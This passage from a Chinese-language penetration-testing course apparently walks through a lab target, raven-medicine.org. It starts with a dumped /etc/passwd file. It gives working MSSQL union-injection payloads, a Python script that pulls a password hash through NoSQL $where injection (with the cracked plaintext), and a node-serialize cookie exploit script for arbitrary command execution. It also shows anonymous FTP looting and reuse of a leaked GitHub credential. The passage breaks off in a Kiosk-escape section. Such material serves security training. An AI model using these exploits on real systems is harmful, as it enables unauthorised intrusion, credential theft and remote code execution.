www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
sssd:x:126:131:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
web01:x:1000:1000:web01,,,:/home/web01:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:127:65534::/run/sshd:/usr/sbin/nologin
ansible:x:1001:1001:,,,:/home/ansible:/bin/bash
mysql:x:128:134:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:129:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
postgres:x:130:136:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mongodb:x:131:65534::/home/mongodb:/usr/sbin/nologin

```

### **SQL 注入**

[http://white-bird.org:8000](http://white-bird.org:8000) 运行着一个 .NET 应用，我们可以根据药名、品牌、或价格来搜索特定药品的数据信息。直觉告诉我们，这里可能存在 SQL 注入漏洞。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/lupLekTaPsokEm41-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/lupLekTaPsokEm41-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/as4YBIs4nCwtRkk0-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/as4YBIs4nCwtRkk0-image.png)

我们用一个单引号就确认了 SQL 注入漏洞的存在

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/gGslnHBPVLahofTJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/gGslnHBPVLahofTJ-image.png)

该应用是 .Net 应用，往往与 MSSQL 数据库共同运转。根据我们的模糊搜索，推断出后端的 SQL 语句为:

```
select * from medicine where medicine like %txtMedicine or brand like %txtBrand or price <=txtPrice
```

如果你们还不是特别熟悉 MSSQL 的常用语句，那么可以参考以下的简易 cheatsheet

```sql
枚举数据库
select name from master..sysdatabases;

枚举表
select TABLE_NAME from [db name].information_schema.tables;

枚举列
select name from syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'users')

枚举用户或登录
select user_name(); //Server Login Name
select system_user; //Database User Name
select * from master..syslogins;

修改密码
ALTER LOGIN webapp  WITH PASSWORD = 'Passw0rd';

当前用户或登录是否是sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT NAME from master..syslogins where SYSADMIN=1;
```

那么对应的，SQL 注入的语句则是

当前用户: **pain ' union select system\_user,2,3;--**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/XeaZ8WP4aXpqmo5p-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/XeaZ8WP4aXpqmo5p-image.png)

所用数据库: **pain ' union select name,2,3 from master..sysdatabases;--**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/deP92K1zkH58UK8l-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/deP92K1zkH58UK8l-image.png)

所有登录或者用户: **pain ' union select name,2,3 from master..syslogins;--**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/1LbqZYc86nXLxW1s-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/1LbqZYc86nXLxW1s-image.png)

Medicine 数据库中的所有表: **pain ' union select table\_name,2,3 from medicine.information\_schema.tables;--**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/jvg7cQX6y7NebBAb-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/jvg7cQX6y7NebBAb-image.png)

表 Medicine 中的所有列: **pain ' union select name,2,3 from syscolumns where id =(select id from sysobjects where name ='medicine');--**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/dLSdYQZeFZ6kDtaE-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/dLSdYQZeFZ6kDtaE-image.png)

当前用户或登录是否是 sysadmin: **pain ' union select is\_srvrolemember('sysadmin'),2,3;--**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/hYPmifOBzAxj5iA7-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/hYPmifOBzAxj5iA7-image.png)

经过以上的信息枚举，我们发现当前登录并不是 sysadmin，因此我们不能开启 xp\_cmdshell 来执行远程代码。

不管怎么样，让我们写一个脚本来模拟刚才的交互：

```python
import requests
import sys
import re
from bs4 import BeautifulSoup


def sqli_poc(ip):
	target=ip+"/"
	s=requests.Session()
	r=s.get(ip)
	bs=BeautifulSoup(r.text)
	viewstate=bs.find("input", {"id": "__VIEWSTATE"}).attrs['value']
	generator=bs.find("input", {"id": "__VIEWSTATEGENERATOR"}).attrs['value']
	validation=bs.find("input", {"id": "__EVENTVALIDATION"}).attrs['value']
	body = {
    "__EVENTTARGET": "",
    "__EVENTARGUMENT": "",
    "__VIEWSTATE": viewstate,
    "__VIEWSTATEGENERATOR": generator,
    "__EVENTVALIDATION": validation,
    "ctl00$MainContent$txtMedicine": "\'",
    "ctl00$MainContent$txtBrand": "",
    "ctl00$MainContent$txtPrice": "",
    "ctl00$MainContent$btnSearch":"Search",
    "ctl00$MainContent$txtupMedicine": "",
    "ctl00$MainContent$txtupBrand": "",
    "ctl00$MainContent$txtupPrice": "",
}	
	files={'ctl00$MainContent$fuContent':('','')}
	headers={'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.','Referer':target}
	r2=s.post(target,headers=headers,data=body,files=files)
	if 'Query Error' in r2.text:
		print("SQL Injection Vulnerability Found!")
	
def sqli_exec():
	*****完成该函数*****

    
if len(sys.argv)!=3:
	print("Usage: python3 raven.py http://white-bird.org:8080 'select system_user'")
ip=sys.argv[1]
query=sys.argv[2]
sqli_poc(ip)
sqli_exec(ip)

```

请完成 sqli\_exec 函数，使得该函数可以执行用户提供的 SQL 语句。

# 配置不当的网络服务

## **配置不当的网络服务**

利用 Web 漏洞与社会工程学攻击是突破边界的主要手段，并且对于企业来说，例如 FTP 之类的网络服务越来越少在互联网上被公开，但这不意味着通过配置不当的网络服务突破边界是不可做到的事情。需要注意的是，我们讨论的是网络服务的不当配置，而不是利用漏洞，或者即便有漏洞可利用（拒绝服务漏洞）也不会给予我们额外优势。同利用漏洞一样，有时候我们需要将多个线索进行组合利用。以下是一些常见的网络服务以及常见的不当配置（不讨论弱口令以及 CVE 漏洞）。虽然这些服务更多时候出现在内网，但将它们暴露给互联网本身也是不必要且不应该的。

<table border="1" id="bkmrk-%E6%9C%8D%E5%8A%A1-%E9%BB%98%E8%AE%A4%E7%AB%AF%E5%8F%A3-%E8%84%86%E5%BC%B1%E9%85%8D%E7%BD%AE-ftp-21-" style="border-collapse: collapse; width: 100%; height: 414.4px;"><colgroup><col style="width: 24.9629%;"></col><col style="width: 24.9629%;"></col><col style="width: 50.0494%;"></col></colgroup><tbody><tr style="height: 29.6px;"><td style="height: 29.6px;">**服务**</td><td style="height: 29.6px;">**默认端口**</td><td style="height: 29.6px;">**脆弱配置**</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">FTP</td><td style="height: 29.6px;">21</td><td style="height: 29.6px;">匿名访问</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">SMTP</td><td style="height: 29.6px;">25</td><td style="height: 29.6px;">开放中继</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">MSRPC</td><td style="height: 29.6px;">135</td><td style="height: 29.6px;">系统进程与信息泄露</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">NBT-SSN</td><td style="height: 29.6px;">139</td><td style="height: 29.6px;">空会话访问</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">SMB</td><td style="height: 29.6px;">445</td><td style="height: 29.6px;">空会话访问，默认可读可写目录</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">VNC</td><td style="height: 29.6px;">5900/5901</td><td style="height: 29.6px;">无认证</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">WinRM</td><td style="height: 29.6px;">5985/5986</td><td style="height: 29.6px;">系统与域信息泄露</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">X11</td><td style="height: 29.6px;">6000</td><td style="height: 29.6px;">无认证</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">MSSQL</td><td style="height: 29.6px;">1433</td><td style="height: 29.6px;">系统与域信息泄露</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">RDP</td><td style="height: 29.6px;">3389</td><td style="height: 29.6px;">系统与域信息泄露</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">Redis</td><td style="height: 29.6px;">6379</td><td style="height: 29.6px;">无认证，任意文件写权限</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">Rsync</td><td style="height: 29.6px;">873</td><td style="height: 29.6px;">无认证</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">MongoDB</td><td style="height: 29.6px;">27017</td><td style="height: 29.6px;">无认证</td></tr></tbody></table>

在使用 Nmap 扫描过 raven-medicine.org 之后，我们发现端口 21 是开放的，通常是 FTP 服务的端口。我们针对该端口进行更加详细的服务扫描：

```bash
└─# nmap  -p21 -sV -vv raven-medicine.org                  
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-26 12:54 PST
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 12:54
Scanning raven-medicine.org (185.2.101.114) [4 ports]
Completed Ping Scan at 12:54, 0.15s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:54
Completed Parallel DNS resolution of 1 host. at 12:54, 0.22s elapsed
Initiating SYN Stealth Scan at 12:54
Scanning raven-medicine.org (185.2.101.114) [1 port]
Discovered open port 21/tcp on 185.2.101.114
Completed SYN Stealth Scan at 12:54, 0.15s elapsed (1 total ports)
Initiating Service scan at 12:54
Scanning 1 service on raven-medicine.org (185.2.101.114)
Completed Service scan at 12:54, 1.45s elapsed (1 service on 1 host)
NSE: Script scanning 185.2.101.114.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 12:54
Completed NSE at 12:54, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 12:54
Completed NSE at 12:54, 0.00s elapsed
Nmap scan report for raven-medicine.org (185.2.101.114)
Host is up, received reset ttl 110 (0.11s latency).
rDNS record for 185.2.101.114: m2314.contaboserver.net
Scanned at 2023-02-26 12:54:55 PST for 2s

PORT   STATE SERVICE REASON          VERSION
21/tcp open  ftp     syn-ack ttl 110 vsftpd 3.0.3
Service Info: OS: Unix

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.43 seconds
           Raw packets sent: 5 (196B) | Rcvd: 2 (84B)

```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/c8SS3wTK947kgp5v-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/c8SS3wTK947kgp5v-image.png)

该服务确实为 FTP，软件以及版本为 **VsFTPD 3.0.3**。该版本的 FTP 服务器较新，不具有严重漏洞。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/g3xp9t5nFEBIl8WY-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/g3xp9t5nFEBIl8WY-image.png)

检查一下该服务是否允许匿名访问。检测匿名访问，通常尝试使用用户 anonymous 或 ftp。该目标的确允许匿名访问，并且该服务器上还存储着一些文件。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/rO5swzHUKTgb5Cke-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/rO5swzHUKTgb5Cke-image.png)

我们可以使用 wget 将可下载的文件全部下载到本地，慢慢分析

```shell
└─# wget -m ftp://anonymous:admin@raven-medicine.org
--2023-02-26 13:00:38--  ftp://anonymous:*password*@raven-medicine.org/
           => ‘raven-medicine.org/.listing’
Resolving raven-medicine.org (raven-medicine.org)... 185.2.101.114
Connecting to raven-medicine.org (raven-medicine.org)|185.2.101.114|:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done.  ==> CWD not needed.
==> PASV ... done.    ==> LIST ... done.

raven-medicine.org/.listing              [ <=>                                                                  ]     246  --.-KB/s    in 0s      

2023-02-26 13:00:41 (38.8 MB/s) - ‘raven-medicine.org/.listing’ saved [246]

--2023-02-26 13:00:41--  ftp://anonymous:*password*@raven-medicine.org/note.txt

```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/kOwSlqTKeZ8IpotG-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/kOwSlqTKeZ8IpotG-image.png)

我们在这些文件中发现一个 txt 文件，看起来是个便签，但是似乎记录了一组 Github 的明文凭证。文件夹里似乎是一个叫 chat.js 应用的源代码

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/NbAtPMdVRntRxITX-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/NbAtPMdVRntRxITX-image.png)

我们使用该账户尝试登陆 Github，发现登陆成功。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/TRzlAS5FnWdcolLw-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/TRzlAS5FnWdcolLw-image.png)

该帐号有一个公开的仓库，存放着一个脚本。尽管目前为止我们还不知道该信息对于我们有何作用，但在之后的渗透过程中可以来回顾该信息，以打开新的通道。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/ovXsr6D7ZCyfUuyz-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/ovXsr6D7ZCyfUuyz-image.png)

# 代码审计自定义应用

## **代码审计自定义应用**

在上一篇，我们从黑盒角度讨论了如何利用常见Web漏洞突破边界。白盒测试要比黑盒测试高效的多，有的漏洞甚至可能永远无法被发现除非人们看到源代码。企业独自开发的 web 应用 (公司产品、主站点等) 通常不是开源的， 一般情况下我们是无法访问到源代码的，那怎么才能审计代码？实际上，在一些情况下，我们是有机会得到源代码进行代码审计的，例如：

1：源代码文件source.tar.gz被放在web目录下。这是由于开发者不小心所导致的，但这种情况并非不可能遇到。源代码也可能存在于 FTP、SMB 服务器上，并且这些服务并且不需要认证的话...幸运的是，我们之前在 FTP 服务器中发现了 chat.js 应用的源代码。

2：目标对一开源app进行了一定的修改，为自己所用。虽然魔改程度有高有低，但原 app 存在的漏洞不一定被修复了。举个例子，在线学习系统 ATutor ([https://atutor.github.io/](https://atutor.github.io/))，作为开源应用，在互联网上广泛运行。更糟糕的是，该应用的漏洞不是一般的多。

3：目标公司发生过源代码泄漏事件。

4：在信息搜集阶段，我们从泄漏库中找到了一些凭证，其中一个或多个凭证可以访问目标公司的 github 私人仓库，访问到源代码。我们之前在 FTP 服务器中找到了一组凭证，虽然并没有在仓库中发现其他应用的源码。

代码审计，通常通过手动追踪用户输入、敏感函数来进行。但也有一些自动代码审计的工具例如 Fotify ([https://www.microfocus.com/en-us/cyberres/application-security)](https://www.microfocus.com/en-us/cyberres/application-security)) 协助我们寻找浅层的脆弱代码。

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/isMimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/isMimage.png)

我们发现 Raven-Medicine.Org 域的 3000 端口运行着一款 NodeJS 的应用，Chat.JS。是不是有些熟悉？因为我们之前在 FTP 服务器中找到了疑似 Chat.js 的源代码。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/SFiPQIXMGAM0c3sv-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/SFiPQIXMGAM0c3sv-image.png)

在有的时候，泄漏得到的源代码不一定是正在被应用的版本，但无论如何，让我们试着分析该应用。代码审计，虽然字面上是审计代码，但并不意味着只盯着代码就行，我们也需要与 Web 应用进行交互、浏览、测试，Debugger 也会很有作用。

该应用暂时不支持游客注册。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/RSmkQkKH0t6QWkMA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/RSmkQkKH0t6QWkMA-image.png)

有关注册部分的代码如下，我们发现后端数据库是 MongoDB。

```javascript
app.post('/register', function(req, res) {
    console.log('[*] ' + req.ip + ' > POST /register');
    if (req.session.logged_in == true) {
        res.redirect('/');
    } else {
        var username = req.body.username;
        var password = req.body.password;
        if (username && password) {
            MongoClient.connect(db_url, { useNewUrlParser:true, useUnifiedTopology:true }, function(err, db) {
                if (err) {
                    throw err;
                }
                var usercount=0
                var dbo = db.db("chatjs");
                var query = {$where: `this.username == '${username}'`};
                dbo.collection("users").findOne(query, function(err, result) {
                    if (err) {
                        throw err;
                    }
                    if (result == null) {
                         res.render('pages/register', {session: req.session, error:"Sorry, the registration is not open now"});
                         

                    } else {
                        res.render('pages/register', {session: req.session, error:"User already exists"});
                    }
                });
            });
        }
    }
});
```

我们看到，如果注册的时候，提交了一个已经存在的账户，会显示 “User already exists”。我们看这 2 行代码：

```javascript
var query = {$where: `this.username == '${username}'`};
dbo.collection("users").findOne(query, function(err, result) {
............
```

查询根据用户提供的输入中的 **this.username** 字段来与数据库中的数据做比较，而 this.username 并没有执行任何用户输入的过滤。因此，如果我们构造一个特定的用户名，那么可以实现 NoSQL 注入。

在 SQL 注入中，经典的万能钥匙载荷是 username='admin' or 1=1。类比到该应用的语境下，我们可以构造这么一个PoC:

username 为 **alice' &amp;&amp; '1'=='1**

password 任意

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/aJ8ZfvLdemQQjqFp-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/aJ8ZfvLdemQQjqFp-image.png)

因为用户 alice 是存在的，只要后面的判断逻辑也是 True，那么最终结果也是 True。我们可以根据 "User already exists" 来判断最终语句的 True/False 值，从而间接地提取数据，比如可以是 **alice' &amp;&amp; this.password.substring(0,1).charCodeAt(0)&gt;'75**。我们通过逐一缩小 password 字段每个字符的区间从而得到最终准确的值，虽然密码是被 **sha256** 哈希过的。sha256 哈希后的结果只包含 a-f 这6字母以及 10 数字，对应的 ASCII 范围为 **48-57**，以及 **97-102**，大大缩小了我们需要比对的字符空间，即不需要考虑所有大写字母、剩余 20 个小写字母，以及任何特殊字符。

我们可以写出如下脚本：

```python
import requests
import sys


charset=['48','49','50','51','52','53','54','55','56','57','97','98','99','100','101','102']

if len(sys.argv)!=3:
	print("Usage: python3 chatjs.py http://raven-medicine.org:3000 alice")

ip=sys.argv[1]
username=sys.argv[2]
passhash=""

for index in range(64):
	for char in charset:
		payload={'username':username+"'&&this.password.substring("+str(index)+","+str(index+1)+").charCodeAt(0)=='"+str(char),'password':'123'}
		#print(payload)
		r=requests.post(ip+"/register",data=payload,allow_redirects=False)
		if "User already exists" in r.text:
			print("Trus statement! The value of this position is: "+str(chr(int(char))))
			passhash=passhash+str(chr(int(char)))
			pass
			
print(passhash)
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/jYcJI65QhRwZ7bzN-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/jYcJI65QhRwZ7bzN-image.png)

得到的哈希值是 **b54f08623ae4039f55bcecba4961037fb4513d2ba9cb2b0667c5db970ac94911**，明文为 **elizabeth**。

我们可以利用该凭证进行登录，之后，我们便重点关注在认证后可访问的功能。我们看到，有关序列化与反序列化的包在该应用被导入：

```javascript
// Necessary packages for drafts
var cookieParser = require('cookie-parser');
var serialize = require('node-serialize');
```

如果用户已经登录了，并且存在名为 **draft** 的 Cookie，那么该 cookie 值会被反序列化

```javascript
            var draft = null;
            if (req.session.logged_in && req.cookies.draft) {
                draft = serialize.unserialize(new Buffer(req.cookies.draft, 'base64').toString()).msg;
            }
            res.render('pages/index', {messages: result, session: req.session, draft:draft});
```

结合 /post 终端的代码来看，draft 可能是指用户尚未发送的消息的相关信息。

```javascript
app.post('/send', function(req, res) {
    console.log('[*] ' + req.ip + ' > POST /send');
    if (req.session.logged_in == true && req.body.message) {
        var post = req.body.post;
        var save = req.body.save;
        if (post != null) {
            res.cookie('draft','',{expires:new Date()});
            console.log('    -- Post');
            MongoClient.connect(db_url, { useNewUrlParser:true, useUnifiedTopology:true }, function(err, db) {
                if (err) {
                    throw err;
                }
                var dbo = db.db("chatjs");
                dbo.collection('messages').insertOne({
                    author:req.session.user_id,
                    datetime:new Date(),
                    text:req.body.message
                }, function() {
                    db.close();
                });
            });
        } else if (save != null) {
            console.log('    -- Save');
            var cookie_val = Buffer.from(serialize.serialize({'msg':req.body.message})).toString('base64');
            res.cookie('draft',cookie_val,{maxAge:900000,httpOnly:true});
        }
    }
    res.redirect('/');
});
```

我们并没有看到任何对于 draft 的过滤，如果我们伪造一个恶意 Cookie，该 Cookie 会在我们访问 / 终端的时候被反序列化，从而触发载荷。我们利用 nodejs 来测试可用的载荷：

```javascript
var serialize = require('node-serialize');
var test = {"msg":"_$$ND_FUNC$$_function(){ require('child_process').exec('whoami', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);
```

在 nodejs 命令行中：

```shell
> var y = {
...  msg : function(){
.....  require('child_process').exec('whoami', function(error, stdout, stderr) { console.log(stdout) });
.....  },
... }
undefined
> var serialize = require('node-serialize');
undefined
> console.log("Serialized: \n" + serialize.serialize(y));
Serialized: 
{"msg":"_$$ND_FUNC$$_function(){\n require('child_process').exec('whoami', function(error, stdout, stderr) { console.log(stdout) });\n }"}
undefined
> 
```

一个任意代码执行的 Python PoC 脚本：

```python
import requests
import sys
import base64

if len(sys.argv)!=5:
	print("Usage: python3 chatjs.py http://raven-medicine.org:3000 whoami")


ip=sys.argv[1]
username=sys.argv[2]
password=sys.argv[3]
command=sys.argv[4]


payload = b'{"msg":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'%s\', function(error, stdout, stderr) { console.log(stdout) });}()"}'%(command.encode('utf-8'))


draft = base64.b64encode(payload).decode('utf-8')
c = {'draft':draft}
print("(+) Generated cookie!")


s=requests.Session()
headers={'Content-type':'application/x-www-form-urlencoded'}
data="username="+username+"&password="+password
r=s.post(ip+'/auth',headers=headers,data=data,allow_redirects=False)
r=s.get(ip+'/',cookies=c)
if "Logged in as" in r.text:
	print("Authenticated!")
```

我们看到，命令是成功被执行了，虽然在我们这一侧无法直接获得输出。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/D5J2mSxW4p9MgYPZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/D5J2mSxW4p9MgYPZ-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/vJnHrxPth943u1hd-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/vJnHrxPth943u1hd-image.png)

# 案例分析：Kiosk逃逸

### **背景**

在这个小节，我们来研究一个案例。在一些公共场合，例如机场、医院、餐厅等，我们会看到自助 Kiosk 机器，用户可以与这些 Kiosk 机器交互实现自助服务，例如挂号、点单、取票等。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/Dfl0CD1DBwkwPG1I-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/Dfl0CD1DBwkwPG1I-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/uUNHeOq4M8rd4V5x-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/uUNHeOq4M8rd4V5x-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/tS5JIkV9XH7153vN-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/tS5JIkV9XH7153vN-image.png)

这些机器采用了定制的操作系统与软件以确保安全性，例如命令提示符或者 PowerShell 有被限制。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/DnKcRdUJvukOWycC-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/DnKcRdUJvukOWycC-image.png)

此外，这些机器大都只允许通过触屏进行交互。

Porteus([https://porteus-kiosk.org/](https://porteus-kiosk.org/)) 是个免费开源的基于 Linux 操作系统的，用于 Kiosk 机器的系统。不过在我们的靶场里，我们是以另外的形式来模拟 Kiosk 机器。

### **枚举 80900 端口**

我们来访问域名的 8090 端口，发现是个开放目录。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/RNpa9ZyJzElaESXB-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/RNpa9ZyJzElaESXB-image.png)

根据目录内的文件，我们推测该应用 fork 于Github 仓库：[GitHub - novnc/noVNC: VNC client web application](https://github.com/novnc/noVNC)

同时，我们在目录中看到一个 sh 脚本，里面包含了 VNC 密码，以及启动的命令。这个脚本会让火狐浏览器以 Kiosk 运行并将 Google 设置为默认页面。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/idbOSvxLotl5eVN5-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/idbOSvxLotl5eVN5-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/EMZU5Bo4hzHb3kli-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/EMZU5Bo4hzHb3kli-image.png)

登录后，我们发现果然能通过 Web 页面访问到远程服务器上的 VNC 服务器，只是目前远程服务器上强制火狐浏览器以 Kiosk 模式运行，使我们无法直接与桌面交互。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/jVla4bhHzwQYYQk6-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/jVla4bhHzwQYYQk6-image.png)

### **快捷键整理**

#### **About**

火狐浏览器支持 **about:** 的 URL 协议，这些 URL 为火狐浏览器独有，可以让我们访问到浏览器的设置页来查看或更改选项，并为我们提供诸多有关浏览器乃至服务器的信息。以下是 about: URL 的列表。随着版本的迭代，可能会有增删。

对于作为攻击者的我们更加相关的 URL 被加粗：

<table border="1" id="bkmrk-about-%E9%A1%B5%E9%9D%A2-%E4%BD%9C%E7%94%A8-about%3Aab" style="border-collapse: collapse; width: 100%; height: 1314.83px;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr style="height: 29.7969px;"><td style="height: 29.7969px;">**About 页面**</td><td style="height: 29.7969px;">**作用**</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:about</td><td style="height: 29.7969px;">about URL 列表</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:performance</td><td style="height: 29.7969px;">性能检测</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:addons</td><td style="height: 29.7969px;">Add On 管理器</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:plugins</td><td style="height: 29.7969px;">列举所有的插件以及其他有用信息</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:buildconfig</td><td style="height: 29.7969px;">浏览器 build 选项</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:policies</td><td style="height: 29.7969px;">企业策略列表</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:cache</td><td style="height: 29.7969px;">网络缓存存储服务</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">**about:preferences**</td><td style="height: 29.7969px;">**浏览器设置**</td></tr><tr style="height: 